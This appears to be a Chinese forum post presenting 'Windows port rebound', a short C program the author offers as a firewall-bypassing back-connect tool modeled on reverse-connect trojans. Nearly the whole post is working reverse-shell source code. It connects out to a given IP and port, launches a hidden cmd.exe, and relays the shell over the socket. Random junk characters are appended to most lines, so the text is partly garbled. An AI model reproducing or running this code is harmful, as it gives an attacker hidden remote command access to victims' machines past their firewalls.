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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 77FI&*q  
F;4*,Ap  
/* ============================== c>_tV3TDA  
Rebound port in Windows NT >Mu I-^ 3  
By wind,2006/7 9{D u)k  
===============================*/ O%g Q  
#include a'T8U1  
#include `&\jOve   
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#pragma comment(lib,"wsock32.lib") ~$I9%z7@  
WrA!'I  
void OutputShell(); uwQ~4   
SOCKET sClient; PQl^jS  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; lO (MF  
[~3[Tu( C  
void main(int argc,char **argv) g*]hmkYe9  
{ (=2-*((&(A  
WSADATA stWsaData; W'|NYw_B  
int nRet; :]Nn(},  
SOCKADDR_IN stSaiClient,stSaiServer; YXJreM5  
kPhdfF*Q  
if(argc != 3) jL }bGD  
{ Ic 5TtN~/>  
printf("Useage:\n\rRebound DestIP DestPort\n"); !2.(iuE  
return; \k DQ[4mGq  
} y:Wq;xEiDo  
~[_u@8l!mN  
WSAStartup(MAKEWORD(2,2),&stWsaData); {7k Jj(Ue  
*oby(D"p  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {8TLL @T4  
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stSaiClient.sin_family = AF_INET; 7U9*-9  
stSaiClient.sin_port = htons(0); Kyf,<z F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); e=>:(^CS   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #x?Ku\ts  
{ mY1I{ '.  
printf("Bind Socket Failed!\n"); x7<2K(  
return; .wU0F  
} .tdaj6x  
HT`k-}ho,  
stSaiServer.sin_family = AF_INET; N)I9NM[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6'{/Ote  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D*%?0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ulf'gD4e  
{ `D%U5Jb  
printf("Connect Error!"); 3`JLb]6  
return; m4 k:uk7N  
} 0N|l1Sn  
OutputShell(); LD=eMk: ~  
} 5NR@<FE  
H[S}&l\D4  
void OutputShell() ,QeJ;U  
{ -> ^Ex`  
char szBuff[1024]; _Gu;=H,~&  
SECURITY_ATTRIBUTES stSecurityAttributes; w4nU86oZYl  
OSVERSIONINFO stOsversionInfo; w)rd--9f  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @%'1Jd7-Wp  
STARTUPINFO stStartupInfo; ]<3n;*8k?  
char *szShell; H zMr  
PROCESS_INFORMATION stProcessInformation; 9{GEq@`7  
unsigned long lBytesRead; |erG cKk  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vktc  
)+ V)]dS@%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o=nF.y  
stSecurityAttributes.lpSecurityDescriptor = 0; qj7 }]T_  
stSecurityAttributes.bInheritHandle = TRUE; W?F Q  
[u $X.=(  
dwpE(G y6c  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RoFOjCc>D.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tEN8S]X  
0!Vza?9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); aw923wEi  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~n"?*I`  
stStartupInfo.wShowWindow = SW_HIDE; th1;Ym+Ze  
stStartupInfo.hStdInput = hReadPipe; z/I\hC9i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,M.phRJ-`  
lR>p  
GetVersionEx(&stOsversionInfo); K1+4W=|  
Ob&m&2s,  
switch(stOsversionInfo.dwPlatformId) KB"N',kG  
{ 9Q.@RO$%C  
case 1: )n&6= Li  
szShell = "command.com"; M!/!*,~  
break; 2dyS_2u  
default: 5|jsv)M+  
szShell = "cmd.exe"; -U{CWn3G  
break; = yFOH~_  
} }`$s"Iv@  
_f1;Hhoa  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '5m4kDs  
sXi~cfFaE  
send(sClient,szMsg,77,0); dC<2%y  
while(1) #z1/VZ  
{ 5SMV3~*P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k\TP3*fD  
if(lBytesRead) yW)r`xpY  
{ h"y~!NWn  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); B1V+CP3t  
send(sClient,szBuff,lBytesRead,0); 3#0y.. F  
} A+MG?k>yg  
else WM;5/;bB  
{ b/w5K2  
lBytesRead=recv(sClient,szBuff,1024,0); zIA)se Js  
if(lBytesRead<=0) break; 3L CT-rp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L)n_  Q  
} | .gE9'"bv  
} ``-pjD(t  
0j!xv(1  
return; A"O\u=!  
}
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